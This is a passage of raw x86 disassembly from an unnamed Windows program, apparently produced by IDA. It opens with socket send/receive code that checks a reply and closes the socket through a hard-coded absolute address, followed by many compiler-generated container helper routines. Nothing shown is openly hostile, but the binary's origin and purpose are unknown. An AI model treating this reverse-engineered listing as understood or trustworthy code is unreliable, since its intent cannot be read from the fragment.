		push	18h
		push	offset dword_444E34
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444E0C
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E20
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		call	near ptr 71AB9639h
		nop


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
